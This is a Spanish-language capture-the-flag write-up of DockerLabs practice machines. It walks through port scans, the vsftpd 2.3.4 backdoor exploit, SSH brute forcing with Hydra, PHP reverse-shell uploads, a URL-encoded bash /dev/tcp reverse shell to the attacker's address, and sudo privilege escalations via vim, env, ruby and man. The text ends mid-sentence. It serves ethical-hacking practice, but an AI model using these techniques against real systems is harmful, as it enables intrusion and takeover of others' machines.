DOCKERLABS

DOCKERLABS
Juan García Álvarez | UmaWare
DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

1. Introducción
Tras unas breves vacaciones del mundo de la seguridad informática y del rooteo de
máquinas vulnerables volvemos a los informes de prácticas. En el día de hoy
traemos una serie de máquinas vulnerables de una nueva plataforma, DockerLabs,
creada recientemente por los compañeros de oficio Mario Álvarez Fernández y
THackeo. La página web nos ofrece una amplia variedad de máquinas vulnerables
clasificadas según su dificultad y con las que podremos operar a través de Docker.
Más adelante explicaremos qué es Docker, así como su funcionamiento y aplicación
para nuestras prácticas.
En este informe se redactará la resolución de las siguientes máquinas: En primer
lugar las disponibles clasificadas como “Muy Fáciles”: Firsthacking, Trust, Upload
y Vacaciones. En segundo y último lugar las 9 máquinas clasificadas como
“Fáciles” en la plataforma, como son Amor, Anonymouspingu, Capypenguin,
Chocolatelovers, Move, Pn, Walkingcms y Whereismywebshell.
2. Técnicas y herramientas utilizadas
● Escaneo de puertos y servicios - Nmap
● Análisis y explotación de vulnerabilidades - Searchsploit, ExploitDB,
Metasploit Framework, WPScan, GTFObins
● Enumeración de directorios web - Gobuster
● Consultas HTTP y análisis web - Curl, Whatweb
● Ataques de diccionario y fuerza bruta - Hydra, WPScan

● Reverse shells - Netcat
● Codificación en Base64, URL
● Esteganografía - Stegseek
● Tratamiento de TTY
● Uso de bases de datos MySQL
● Uso general de binarios UNIX
● Python scripting
3. Docker y entorno de trabajo
Recordemos que tanto el objetivo de estos informes como del blog es aprender y
compartir información. Es por ello que comenzaremos hablando de un término
nuevo como es Docker. Docker es un proyecto informático de código abierto
compuesto por tres partes principales: el software Docker, la comunidad open
source Docker y por último la empresa Docker Inc. Tanto la empresa como la
comunidad se encargan de mejorar y actualizar el producto (software) de manera
constante. Actualmente nuestro interés se centrará en el propio software y en su
funcionalidad, pues será la herramienta que utilizaremos para dar vida a las
máquinas vulnerables ofrecidas en esta nueva plataforma.
Docker hace uso del kernel de Linux y sus funciones para proporcionar un mejor
aislamiento y ligereza de los contenedores con los que trabaja. Hace uso de
funciones de kernel como cgroups, que permite limitar, contabilizar o priorizar el
uso de recursos de la CPU, RAM, disco y red para cada contenedor. Otra función
del kernel de Linux utilizada por Docker es namespaces, la cual proporciona un

espacio de nombres aislado para cada contenedor, incluyendo sistemas de
archivos, procesos, usuarios y dispositivos de red.
El funcionamiento resulta sencillo de entender: En primer lugar se ejecuta docker en
el sistema, lo que inicia una solicitud de recursos del kernel mediante la función
cgroups mencionada anteriormente. A continuación Docker crea namespaces para
el contenedor, aislándolo del sistema anfitrión. De este modo, cada contenedor tiene
su propio sistema de archivos montado sobre el sistema de archivos del host. Los
procesos del contenedor de Docker también se ejecutarán en su propio espacio de
nombres de proceso, aislados de otros procesos del sistema.
Para hacer uso de la herramienta Docker debemos instalarla en nuestra máquina
Kali con el comando “sudo apt install docker.io”. Una vez descargada e instalada
podremos descargar las máquinas vulnerables de la web Dockerlabs desde la
propia máquina Kali, o bien si usamos un Kali virtualizado (como es mi caso)
podremos crear una carpeta compartida con los archivos de prácticas entre nuestro
equipo local y Kali desde VirtualBox.
Para iniciar el contenedor con la máquina vulnerable accedemos a la carpeta y
ejecutamos el comando “bash auto_deploy.sh maquinavulnerable.tar”, teniendo
cada máquina un par de archivos ejecutables. Tras ejecutar el comando se creará el
contenedor con el laboratorio temporal. En pantalla se mostrará la dirección IP de la
máquina objetivo. Lo veremos más adelante, en el siguiente punto.

4. Dificultad: Muy fácil
4.1 FirstHacking
Arrancamos la primera máquina vulnerable de la práctica accediendo al directorio
correspondiente y ejecutando un comando “bash” seguido de los dos archivos
existentes en la carpeta. Esto creará el contenedor con el equipo virtual que
utilizaremos como objetivo en esta primera sección. También nos dará la dirección
IP de la máquina arrancada, por lo que no hará falta analizar la red local en busca
de la misma. Ejecutamos el comando “bash auto_deploy.sh firsthacking.tar” y
obtenemos lo siguiente:
4.1.1 Arranque de la máquina a través de Docker.
Una vez creada y funcional comprobamos que la dirección IP es 172.17.0.2. Como
sugerencia podemos quedarnos con esta dirección, ya que será la misma para
todas las futuras máquinas vulnerables con las que trabajaremos (aquellas
provenientes de la plataforma Dockerlabs).
Una vez identificada la máquina objetivo realizaremos un escaneo de puertos y
servicios con Nmap, como es costumbre. Buscaremos posibles vectores de ataque

que aprovecharemos para hacernos con el control absoluto de la máquina al
acceder al usuario root o administrador. El comando a ejecutar será el mismo que
en anteriores prácticas: nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv
172.17.0.2. Recordemos brevemente que con este comando realizaremos un
comando relativamente rápido y silencioso (no detectable y posiblemente evadiendo
firewalls existentes) a todos los puertos de la máquina, analizando los servicios y
protocolos que corren por los mismos. Este es el resultado:
4.1.2 Escaneo de puertos y servicios con Nmap.
El resultado solo muestra un puerto abierto, el puerto 21 por el que corre el
protocolo ftp (File Transfer Protocol) en una versión vsftpd 2.3.4. Al carecer de
más información acerca de posibles usuarios o vectores de ataque realizaremos una
consulta con Searchsploit en busca de posibles vulnerabilidades relacionadas con
dicha versión de FTP. La consulta en cuestión la realizamos con el siguiente
comando: searchsploit vsftpd 2.3.4.
4.1.3 Búsqueda de vulnerabilidades con Searchsploit.
El resultado muestra dos opciones que parecen similares, ofreciendo una ejecución
de comandos a través de una puerta trasera o backdoor. La primera opción ofrece

un script escrito en Python, mientras que la segunda podremos utilizarla a través de
Metasploit Framework. En este caso utilizaremos la primera opción, para practicar
un poco con el uso de scripts. Clonamos el programa a nuestro directorio de trabajo
con el siguiente comando: searchsploit -m unix/remote/49757.py. Con el
parámetro “-m” (mirror) clonamos la ruta ofrecida por Searchsploit en la parte
derecha de la pantalla (no aparece en la captura).
4.1.4 Obtención del script a través de Searchsploit.
Ejecutamos el script con el comando “python3 49757.py” para ver los parámetros
de uso. Tras la comprobación observamos que el uso es bien sencillo: hacemos la
llamada a la herramienta y a continuación especificamos la dirección IP del host
objetivo sin necesidad de añadir ningún parámetro adicional. El comando quedaría
así: python3 49757 172.17.0.2”.
4.1.5 Acceso a root a través del script.
Podríamos realizar el tratamiento de la TTY para obtener una shell más completa e
interactiva pero estas máquinas por el momento carecen de “flags” como en otras
plataformas, por lo que la obtención de privilegios de superusuario nos bastará para
dar por terminada la máquina. Volvemos a la ventana desde la cual iniciamos la

máquina vulnerable a través de Docker e introducimos el comando “Ctrl+C” para
cerrar el laboratorio de pruebas. Vayamos a la siguiente máquina.
4.2 Trust
Comenzamos la segunda máquina de clasificación “Muy fácil” arrancando el
contenedor de Docker del mismo modo que con la anterior máquina vulnerable,
accediendo al directorio “Trust” y ejecutando el comando “bash auto_deploy.sh
trust.tar”. La dirección IP será la misma también, es decir, 172.17.0.2.
4.2.1 Arranque de la máquina Trust a través de Docker.
Abrimos una nueva ventana de terminal en Kali para evitar cerrar nuestra máquina
objetivo con el comando “Ctrl+Alt+T”. En esta nueva ventana analizaremos la
máquina con Nmap, realizando nuevamente un escaneo de puertos, servicios y
versiones operativos y disponibles en el sistema vulnerable. El comando a ejecutar
es el siguiente: nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2.
Este es el resultado:

La salida del escaneo muestra dos puertos abiertos, el puerto 22 operando con el
protocolo SSH y el puerto 80, por el que corre el protocolo HTTP. Nos encontramos
con un punto de partida bastante familiar. Observamos un puerto 80 HTTP abierto,
lo que indica la posibilidad de realizar consultas HTTP bien a través de un
navegador web como Firefox, bien a través de herramientas como cURL o Wget.
Investigaremos primeramente el entorno HTTP en busca de posibles credenciales
de acceso (usuarios y contraseñas) a través de SSH. Probablemente con un listado
de posibles usuarios registrados en el sistema sea suficiente para realizar un ataque
de fuerza bruta al protocolo SSH.
Comenzamos realizando en segundo plano una enumeración de directorios con la
herramienta Gobuster, en busca de posibles archivos y directorios ocultos en el
sistema. Utilizaremos el diccionario usual del conjunto de listas SecLists para la
enumeración. Lanzamos la enumeración a través del comando “gobuster dir -w
/home/kali/lists/directory-list-2.3-medium.txt -u http://172.17.0.2/ -x
jpg,html,php,txt”. Como recordatorio, utilizamos el parámetro “dir” para la
enumeración de directorios, “-w” para indicar la ruta hacia el diccionario que
utilizaremos y “-x” para indicar las extensiones de los archivos a buscar.

4.2.3 Enumeración de directorios con Gobuster.
Tras una breve búsqueda damos con un archivo “/secret.php”, el cual podrá ser de
utilidad. Antes de nada realizamos una consulta HTTP con cURL a la dirección IP
de la máquina para comprobar la página web principal. Sin embargo, nos
encontramos con la página por defecto de Apache, por lo que el siguiente paso será
analizar el archivo descubierto con Gobuster. Realizamos la consulta HTTP con el
comando “curl 172.17.0.2/secret.php” y obtenemos el siguiente resultado:
4.2.4 Consulta HTTP con cURL.
Nos muestra una simple página web con un breve texto. Menciona el nombre de
Mario y nada más que resulte útil. Tras investigar un poco por aquí y por allá no
encontramos más información, por lo que es hora de recurrir a la última opción, un
ataque de fuerza bruta al puerto 21 SSH con Hydra. Utilizaremos el diccionario
“rockyou.txt”, ampliamente extendido y utilizado en el entorno educativo del
hacking ético junto con la herramienta Hydra. Como tan solo tenemos el nombre
“Mario” lo utilizaremos como único indicio. El comando a ejecutar es el siguiente:
hydra -l mario -P /home/kali/lists/rockyou.txt ssh://172.17.0.2

4.2.5 Ataque de fuerza bruta al protocolo SSH con Hydra.
Tras una muy breve demora logramos dar con la contraseña del usuario “Mario”,
“chocolate”. Digo muy breve porque la contraseña se encontraba en la línea 27 del
diccionario. Esto podemos comprobarlo buscando la palabra deseada en el archivo
con el comando “grep ‘chocolate’ rockyou.txt -n”. El parámetro “-n” nos indicará la
línea en la que se encuentra la palabra. Se trata de un comando bastante útil, que
es recomendable tener en cuenta.
4.2.6 Grep para buscar la posición de una palabra en una lista.
A continuación intentamos acceder por SSH con las credenciales recientemente
obtenidas. Esto lo haremos utilizando el comando “ssh mario@172.17.0.2”.
Obtendremos el siguiente mensaje de advertencia:
4.2.7 Mensaje de advertencia SSH.

Este mensaje tiene una fácil solución, la cual consistirá simplemente en copiar y
pegar el comando provisto en el propio mensaje. Sin embargo, parémonos un poco
a analizar el mensaje para aprender qué es, qué significa y por qué salta.
El protocolo SSH utiliza un sistema de claves para verificar la identidad del servidor
con el que se establece una conexión. Tras la primera conexión con el servidor se
guarda la clave del servidor en un archivo llamado known_hosts. Las siguientes
conexiones comparan la clave guardada con la del servidor. Si son iguales, la
conexión se considera segura. Durante las futuras prácticas utilizaremos diferentes
máquinas a través de contenedores de Docker con una misma dirección IP, por lo
que esta clave SSH variará según el sistema (máquina) que utilicemos.
La solución a esta advertencia será ejecutar el comando “ssh-keygen -f
'/root/.ssh/known_hosts' -R '172.17.0.2'. Con este comando exploramos el archivo
“known_hosts” mencionado anteriormente y eliminaremos (-R) la línea específica
que coincida con la cadena indicada, en este caso establecemos la dirección IP del
servidor, o máquina objetivo, es decir, “172.17.0.2”. Con ello, con la próxima
conexión con SSH guardaremos una clave “nueva” en nuestro archivo
“known_hosts” evadiendo así este mensaje de advertencia de seguridad.
4.2.8 Modificación del archivo known_hosts y conexión SSH.

Tras haber establecido la conexión por SSH utilizando las credenciales obtenidas
gracias al ataque de fuerza bruta con Hydra (mario:chocolate) ejecutamos el
comando “sudo -l” para buscar comandos a ejecutar con privilegios de root desde el
usuario actual, mario.
4.2.9 Comandos a ejecutar con privilegios root desde el usuario mario.
Descubrimos que el usuario “mario” puede ejecutar el binario “vim”, referente al
editor de texto, con permisos de root. A continuación buscaremos en la página
GTFObins el comando a ejecutar a través de “vim” para realizar la escalada de
privilegios. Encontramos que con el comando “sudo vim -c ':!/bin/sh'” podremos
escalar nuestros privilegios.
Con este último paso damos por resuelta la máquina “Trust”. Cerramos el laboratorio
de prácticas con “Ctrl+C” y arrancamos la siguiente.
4.2.10 Escalada de privilegios a través de vim.
4.3 Upload
Comenzamos esta tercera máquina vulnerable de clasificación “Muy fácil” abriendo
el contenedor de Docker con el comando “bash auto_deploy.sh upload.tar”.

4.3.1 Arranque de la máquina “Upload”.
La dirección IP será la misma que en casos anteriores, 172.17.0.2. Una vez
arrancada y funcional abriremos una nueva ventana de terminal en nuestra máquina
atacante Kali con el comando “Ctrl+Alt+T”. El siguiente paso será lanzar un
escaneo de puertos y servicios con Nmap para obtener información previa sobre la
máquina, así como posibles vectores de ataque y de entrada al sistema. El
comando a ejecutar será el siguiente: nmap -sS -sV -sC -Pn -p- -n
--min-rate=10000 -vvv 172.17.0.2. Este es el resultado:
El escaneo muestra un solo puerto abierto, el puerto 80 por el cual se ejecuta el
protocolo HTTP. Como bien deberíamos saber a estas alturas, esto indica la
presencia de una página web a la cual podremos acceder a través de nuestro
navegador web. Lo primero que haremos será realizar una consulta Whatweb para
descubrir información adicional sobre el sitio web, posibles versiones de software
operativo, nombres de dominio, etc. Ejecutamos el comando “whatweb 172.17.0.2”.

4.3.3 Consulta whatweb.
Obtenemos escasa pero útil información tras la consulta. Vemos que el servidor (la
máquina objetivo) opera con un sistema operativo Ubuntu Linux y utiliza una
versión de Apache 2.4.52. Lo que llama la atención en primer lugar es el título de la
web “Upload here your file”. En primer lugar encontramos un pequeño error
gramatical, pues la frase debería estar escrita “upload your file here”, pero eso es
otro tema, jeje. Lo que nos concierne en esta situación es una posible vulnerabilidad
de File Inclusion (inclusión de archivos/ficheros). A continuación realizaremos una
enumeración de directorios (directory bursting) con la herramienta Gobuster.
Esencialmente se trata de un ataque de diccionario con el objetivo de descubrir
posibles directorios y archivos ocultos dentro de un servidor web mediante el envío
de varias consultas HTTP consultando una lista o diccionario. El comando a ejecutar
será el siguiente: gobuster dir -w /home/kali/lists/directory-list-2.3-medium.txt -u
http://172.17.0.2/ -x jpg,html,php,txt.
4.3.4 Directory bursting con Gobuster.
El resultado ofrece una serie de directorios de útil apariencia. En primer lugar
encontramos el directorio “/uploads”, un directorio donde comúnmente se

encuentran los archivos subidos al servidor. Al devolver un código de estado HTTP
200 nos indica que este directorio es accesible, por lo que nos topamos con una
severa brecha de seguridad. Con este directorio accesible, si logramos subir un
archivo malicioso, como un backdoor podremos hacernos con el control del servidor
web. Si accedemos a la página web nos encontraremos con el siguiente cuadro:
4.3.4 Página web de la máquina objetivo.
Comprobamos que tenemos la opción de subir cualquier archivo al servidor, por lo
que intentaremos cargar una reverse shell en formato “.php”. Con el siguiente
comando copiaremos un archivo de puerta trasera ya existente en nuestro sistema
Kali y lo modificaremos para esta práctica: cp
/usr/share/webshells/php/php-reverse-shell.php /home/kali/exploit.php.
Copiamos la reverse shell a nuestro directorio operativo bajo el nombre de
“exploit.php”. Lo abrimos con un editor de texto como nano o vim.
4.3.5 Exploit.php.

Modificamos las líneas con las variables “$ip” y “$port” con la dirección IP local
(nuestra máquina Kali) y el puerto que queramos utilizar para establecer esta
conexión. En nuestro caso será 10.0.2.25 y 1234 respectivamente. Guardamos y
cerramos el editor de texto con “Ctrl+X” y “Ctrl+O”.
El siguiente paso será cargar o subir el archivo malicioso al servidor web. Podremos
utilizar libremente la propia página web. Una vez subido el archivo abrimos un canal
de escucha en nuestra máquina Kali con Netcat a través del comando “nc -lvnp
1234”, indicando el mismo puerto que hemos indicado en el archivo con la reverse
shell. En otra pestaña hacemos una llamada al archivo “.php” que hemos subido
con el comando “curl http:172.17.0.2/uploads/exploit.php” y logramos establecer
una conexión.
4.3.6 Reverse shell establecida con Netcat.
Realizamos un tratamiento de TTY básico (no podemos obtener una shell completa)
a través del comando “script /dev/null -c bash”. A continuación consultamos qué
comandos podemos ejecutar con permisos de administrador en el sistema a través
del usuario “www-data”, con el cual nos encontramos logueados actualmente.

4.3.7 Tratamiento de TTY y consulta de comandos con permisos root.
La consulta indica que podremos usar el comando “/usr/bin/env” con permisos de
superusuario. Curiosamente podremos mostrar las variables de entorno del sistema
con permisos de administrador en este sistema. Consultamos en GTFObins la
manera de realizar una escala de privilegios a través de este binario “env”. A través
del comando “sudo env /bin/sh” logramos escalar nuestros privilegios a root, dando
por finalizada esta máquina.
4.3.8 Root.
4.4 Vacaciones
Arrancamos la última máquina disponible clasificada como “Muy fácil” en la
plataforma DockerLabs. Nuevamente la iniciaremos con el comando “bash
auto_deploy.sh vacaciones.tar” y se le otorgará una dirección IP 172.17.0.2.
Lanzamos un escaneo de puertos y servicios con Nmap a través del comando

“nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2” y obtenemos el
siguiente resultado:
Descubrimos dos puertos abiertos, el puerto 22 por el que corre el protocolo SSH y
el puerto 80 a través del cual opera el protocolo HTTP. Se trata de un punto de
partida que ya se hace muy familiar: un servidor web desde el cual descubrir
credenciales de acceso y un puerto 22 por el cual establecer una conexión SSH y
escalar nuestros privilegios en el sistema hasta hacernos con el control del mismo.
Situación familiar, método usual. Comenzamos con una consulta Whatweb sin un
resultado óptimo, por lo que procedemos a la enumeración de directorios con
Gobuster. El comando ejecutado ha sido “gobuster dir -w
jpg,html,php,txt”.
4.4.2 Enumeración de directorios web con Gobuster.

Por desgracia, el directory bursting lanzado no ha logrado proporcionar un resultado
muy útil como podemos comprobar en la captura de pantalla. El siguiente paso a
realizar será bien visitar la página web alojada a través de nuestro navegador web
(firefox) o bien a través de una consulta HTTP con cURL. Desde el navegador tan
solo tendremos que introducir la dirección IP de la máquina objetivo. Con ello
encontraremos una página en blanco. Sin embargo, podremos inspeccionar el
código fuente del sitio web con “Click derecho > View page source”. Esto mostrará
información útil.
El otro modo de llegar al mismo punto, es decir, acceder a la misma información,
será a través del comando en consola “curl 172.17.0.2”, lo que imprimirá en pantalla
el código fuente de la página web.
4.4.3 Consulta cURL.
Encontramos dos posibles nombres de usuario en el sistema, “Juan” y “Camilo”. El
mensaje también hace referencia a un directorio con posible información valiosa,
relacionada con un correo. Tras una exhaustiva búsqueda alrededor del puerto 80
no logramos encontrar más información, por lo que la siguiente tarea consistirá en
realizar un ataque de fuerza bruta al puerto 22 SSH de la máquina objetivo con
Hydra. Podemos crear una lista con los dos posibles usuarios con “nano usuarios”
y lanzar el ataque con el comando “hydra -L usuarios -P
/home/kali/lists/rockyou.txt ssh://172.17.0.2”.
4.4.4 Ataque de fuerza bruta al puerto 22 SSH con Hydra.

Damos con unas credenciales de acceso válidas, “camilo:password1” por lo que,
en una nueva ventana de terminal accedemos por SSH a la máquina “vacaciones”.
Introducimos el nombre y contraseña, creamos una shell bash con el comando
“bash” para una terminal más completa y funcional y ejecutamos el comando “sudo
-l” en busca de posibles comandos a ejecutar con permisos de administrador. Sin
embargo, el usuario “camilo” no puede ejecutar “sudo” en esta máquina.
Realizamos la siguiente consulta en el sistema en busca de archivos solo legibles
por su propietario, donde quizás tengamos al más de éxito en nuestro intento de
escalada de privilegios. El comando ejecutado es “find / -perm -4000 2>/dev/null”.
4.4.5 Búsqueda de archivos y comandos para la escalada de privilegios.
Por desgracia tampoco encontramos nada interesante que destaque. Recurriremos
entonces al mensaje encontrado en la página web, donde el usuario Juan dice
haber enviado un correo importante al usuario Camilo. Lo que haremos será
localizar en el sistema el directorio de correo electrónico. Para ello ejecutamos el
siguiente comando: find / -name ‘mail’ 2>/dev/null. Con ello buscaremos en todo el
sistema (/) cualquier archivo o directorio con el nombre “mail” (-name ‘mail’). La
última parte del comando se encarga de no mostrar en pantalla posibles errores,
dejando la terminal limpia.

4.4.6 Búsqueda de archivos y directorios. Nuevas credenciales.
Logramos encontrar el directorio de correo electrónico en “/var/mail”. Nos
adentramos en el directorio y encontramos una carpeta a la que tenemos acceso
con el usuario“camilo”. Dentro hay un documento de texto donde el usuario “juan”
cede su contraseña a “camilo”. Probamos estas nuevas credenciales para
conectarnos por SSH con las credenciales “juan:2k84dicb”. Para cambiar de
usuario ejecutamos el comando “su juan” e introducimos la contraseña. Una vez
dentro abrimos una shell bash con “bash”. Una vez dentro repetimos el mismo
proceso de siempre, con el objetivo de encontrar binarios o comandos a ejecutar
con el usuario actual pero con permisos de administrador. Ejecutamos “sudo -l” y
descubrimos que el usuario “juan” puede utilizar el binario “ruby” con permisos root.
Accedemos a GTFOBins para buscar el comando a ejecutar para la escalada de
privilegios con el uso del binario “ruby”. Ejecutamos el comando “ sudo ruby -e
'exec "/bin/sh"' ” y logramos el control total del sistema “vacaciones”. Con esto
damos por terminada la categoría “muy fácil”.
4.4.7 Root.

5. Dificultad: Fácil
5.1 Amor
Comenzamos la segunda parte del informe con las máquinas vulnerables
clasificadas como “Fáciles”. La primera máquina de esta categoría será el sistema
“Amor”. Accedemos al directorio donde tengamos almacenados los archivos
“auto_deploy.sh” y “amor.tar” y arrancamos la máquina con “bash”. La dirección IP
otorgada será 172.17.0.2. Comenzamos realizando un escaneo de puertos y
servicios con Nmap con el comando “nmap -sS -sV -sC -Pn -p- -n
--min-rate=10000 -vvv 172.17.0.2”. Este es el resultado:
Nuevamente encontramos dos puertos abiertos, el puerto 22 con un protocolo SSH
y un puerto 80 por el cual podremos comunicarnos con la máquina a través del
protocolo HTTP. Como carecemos de ningún tipo de credenciales con las que
empezar, tomaremos como punto de partida una consulta Whatweb, así como una
enumeración de directorios web con la herramienta Gobuster.
5.1.2 Consulta Whatweb.

Desafortunadamente no logramos encontrar nada de utilidad tras utilizar estos
métodos por lo que el siguiente paso será analizar la web propiamente dicha. Para
ello ejecutamos el comando “curl 172.17.0.2” para obtener el código fuente del sitio
web. Este es el resultado:
5.1.4 Consulta HTTP con cURL.
Topamos con lo que parece ser una serie de comunicados y recordatorios a los
empleados de una empresa. Estos hablan de un intento de phishing detectado, un
recordatorio de uso de contraseñas robustas, etc. Lo que más llama la atención son
los siguientes mensajes. En el tercero podemos ver que existe una cuenta de
usuario en el sistema que utiliza una contraseña débil, por lo que probablemente se
encuentre en nuestra lista “rockyou.txt”. En la siguiente línea, una tal Carlota, del
departamento de seguridad anuncia que un empleado, Juan fue despedido por
enviar una contraseña a través de un correo electrónico. Los comunicados nos dan
posibles credenciales de acceso, en este caso, dos posibles nombres de usuario en
el sistema, Carlota y Juan. Realizamos un ataque de fuerza bruta al protocolo SSH
a través del puerto 22 con Hydra. Podremos hacer una lista con ambos usuarios,

aunque en este caso, ya habiendo resuelto la máquina anteriormente el comando
utilizado fue el siguiente: hydra -l carlota -P /home/kali/lists/rockyou.txt
ssh://172.17.0.2 -I”.
5.1.5 Ataque de diccionario al puerto 22 SSH con Hydra.
El ataque resulta exitoso, por lo que establecemos una conexión por SSH con la
máquina objetivo a través del comando “ssh carlota@172.17.0.2”. Introducimos la
contraseña (babygirl) y accedemos al sistema. Como de costumbre comprobamos
los binarios con permisos de root, así como aquellos comandos o archivos de la
propiedad del usuario “carlota” con el comando “find / -perm -4000 2>/dev/null.
5.1.6 Búsqueda de comandos y archivos para la escalada de privilegios.
Por desgracia no logramos encontrar nada que nos sea de utilidad, por lo que
exploraremos el directorio “/home” en busca de posibles usuarios. También
intentamos acceder al archivo “/etc/passwd” donde recordamos que se encuentra el
listado de usuarios del sistema.

5.1.7 Búsqueda de usuarios en /etc/shadow y /home.
Nos encontramos con permisos para leer el archivo “/etc/passwd” y descubrimos
otros dos usuarios en el sistema: root y oscar. Dejamos un ataque de diccionario
en segundo plano al puerto SSH con el usuario “oscar” mientras navegamos por los
directorios accesibles desde el usuario “carlota”. Investigando en su directorio en
“/home” descubrimos un archivo ubicado en
“/Desktop/fotos/vacaciones/imagen.jpg.” Para investigarla más a fondo la
enviamos a nuestro sistema local (Kali) con el comando “scp
carlota@172.17.0.2:/home/carlota/Desktop/fotos/vacaciones/imagen.jpg
/home/kali”. El siguiente paso será analizar la imagen en busca de información
oculta mediante esteganografía. Ya hemos hablado de esto en otra práctica, por lo
que la herramienta utilizada, stegseek nos resultará familiar. Mediante el comando
“stegseek imagen.jpg /home/kali/lists/rockyou.txt” hacemos un ataque de
diccionario en busca de información oculta en la imagen. Este es el resultado:

5.1.8 Stegseek para investigar la imagen encontrada.
Damos con lo que parece un texto cifrado en base64. Personalmente pude
reconocer el cifrado a simple vista por experiencia trabajando con máquinas
vulnerables. De no reconocer el formato de encriptación siempre se podrán utilizar
herramientas online como dCode para identificar más fácilmente el tipo de cifrado
encontrado. Desciframos la cadena de texto oculta en la imagen con el comando
“echo 'ZXNsYWNhc2FkZXBpbnlwb24=' | base64 -d” y obtenemos la siguiente
cadena:
5.1.9 Descifrado de Base64.
Intuimos que se trata de la contraseña del otro usuario existente en el sistema,
oscar, por lo que intentamos acceder por SSH con las credenciales
“oscar:eslacasadepinypon”. La conexión es exitosa. Buscamos binarios a ejecutar
con permisos de administrador y damos con que el usuario “oscar” puede utilizar el
binario “ruby” con permisos de root. Accedemos a nuestra navaja suiza de escalada
de privilegios, GTFObins para dar con el comando a ejecutar. En este caso será
“sudo ruby -e 'exec "/bin/sh"'”. Con ello accedemos al sistema con privilegios
totales y damos por terminada y resuelta la máquina “amor”. Encontramos también

un pequeño huevo de pascua en “/root/Desktop/THX.txt”. Un mensaje de
agradecimiento a la plataforma y su creador. Todo un detalle.
5.1.10 Escalada de privilegios y mensaje de agradecimiento.
5.2 Anonymouspingu
Comenzamos la segunda máquina vulnerable de Dockerlabs.es categorizada como
“Fácil”. Iniciamos el sistema a través de la terminal en nuestra máquina Kali con el
comando “bash auto_deploy.sh anonymouspingu.tar”. La dirección IP otorgada
será 172.17.0.2, como de costumbre. A continuación realizamos un escaneo de
puertos y servicios para ver con qué trabajaremos en esta situación. Ejecutamos el
comando “nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2” y
obtenemos el siguiente resultado:

Encontramos dos puertos abiertos. El primero, el puerto 21 por el cual se ejecuta el
protocolo FTP, el cual además permite el acceso sin contraseña con el usuario
“anonymous”. También tiene el puerto 80 abierto, lo que indica una página web
alojada en la máquina.
Como podemos acceder libremente al sistema a través de FTP establecemos dicha
conexión con el comando “ftp anonymous@172.17.0.2”. Dejaremos en blanco la
casilla de contraseña. Nos encontramos con lo siguiente:
5.2.4 Directorios disponibles a través de FTP.

Tras investigar a fondo los directorios disponibles no logramos encontrar nada, por
lo que cambiaremos el método de actuación: no buscaremos, si no que enviaremos.
Como vemos en la captura anterior, el directorio “/uploads” es accesible y tenemos
todos los privilegios posibles sobre él, por lo que haremos será muy simple:
enviaremos un archivo malicioso al servidor a través de FTP para crear una puerta
trasera con Netcat. Así lograremos abrir una shell en el sistema.
El primer paso será copiar y modificar el archivo que utilizaremos para crear la
puerta trasera. Normalmente, con “cp
/usr/share/webshells/php/php-reverse-shell.php /home/kali/exploit.php”
copiaremos este archivo ya utilizado anteriormente y lo modificaremos con un editor
de texto con la dirección IP local (en este caso 10.0.2.25) y el puerto que
utilizaremos para establecer la conexión (1234).
5.2.5 Modificación del exploit.
A continuación, desde nuestra terminal FTP accedemos al directorio “/upload” y
después subimos el archivo malicioso con el comando “put exploit.php”. Una vez
enviado el fichero podremos cerrar la pestaña FTP e iniciamos un canal de escucha
con Netcat en el puerto 1234 con el comando “nc -lvnp 1234”. Tras abrir el canal de
escucha, en otra pestaña ejecutamos el archivo que acabamos de subir a través de
una solicitud PHP con cURL con el comando “curl 172.10.0.2/upload/exploit.php”.
Nos topamos con un pequeño problema. No funciona. Por suerte tenemos otra
“webshell” en el mismo directorio con el nombre “simple-backdoor.php”, el cual nos

permitirá ejecutar comandos desde el usuario “www-data” a través del navegador
(eso sí, si funciona). Copiamos el archivo y lo enviamos nuevamente a través de
FTP. Sin necesidad de acceder a nuestro navegador web podremos ejecutar el
exploit a través de la terminal con cURL. Ejecutamos el comando “curl
http://172.17.0.2/upload/exploit2.php” y vemos lo siguiente:
5.2.6 Backdoor exitoso.
Como podemos comprobar en la captura anterior, tenemos acceso a una terminal
de comandos a través de solicitudes HTTP. Ahora sí, haremos lo que intentamos
hacer con el anterior archivo, es decir, establecer una conexión con Netcat. Para
ello haremos uso de la terminal web provisional abierta con el archivo malicioso
subido. Es importante destacar que, al ejecutar el comando desde la URL debemos
codificar el comando que queramos emplear. Accedemos a la web WebShells para
configurar nuestro comando a ejecutar. El que nos ha servido en esta ocasión ha
sido el siguiente:

5.2.7 Reverse shell a través de RevShells.com.
Para que la reverse shell funcionase tuvimos primero que añadir al comando “bash
-c “comando”” para que se ejecutara correctamente, además de codificar todo el
comando en sí en URL code a través de esta página web. El comando empleado
finalmente para lanzar la shell inversa ha sido “curl
http://172.17.0.2/upload/exploit2.php?cmd=bash%20-c%20%22bash%20-i%20%
3E%26%20%2Fdev%2Ftcp%2F10.0.2.25%2F1234%200%3E%261%22”.
5.2.8 Shell inversa a través de la llamada al archivo malicioso subido a /upload.
Una vez abierta la shell hacemos el tratamiento de TTY para obtener una shell más
completa y funcional. Los comandos a ejecutar, como de costumbre son los
siguientes:
script /dev/null -c bash
^Z

stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=bash
Una vez realizado el tratamiento de TTY realizamos la consulta usual para encontrar
la manera de escalar nuestros privilegios en la máquina. Con “sudo -l” descubrimos
que el usuario actual “www-data” puede ejecutar con permisos de administrador el
binario “man” desde el usuario “pingu” sin necesidad de su contraseña:
5.2.9 Escalada de privilegios desde la shell inversa.
Para poder ejecutar el comando a través del usuario actual desde el usuario “pingu”
debemos ejecutar el siguiente comando: sudo -u pingu /usr/bin/man man. Tras
una breve consulta en GTFObins descubrimos que podremos abrir una shell a
través del manual de cualquier comando, siempre que ejecutemos el binario con
permisos root. Tan solo tendremos que ejecutar el comando “man” para abrir el
manual de uso de cualquier comando existente en el sistema y a continuación
abriremos la shell escribiendo “!/bin/sh”.

5.2.10 User pivoting a través de /usr/bin/man.
Como podemos comprobar en la captura anterior, abrimos el manual del propio
binario “man”. En la última línea del manual podremos introducir el comando
mencionado anteriormente para abrir la shell desde un nuevo usuario, “pingu”.
Realizamos nuevamente un tratamiento de TTY para obtener una shell bash y
continuar con la práctica. Repetimos el proceso anterior en busca de posibles
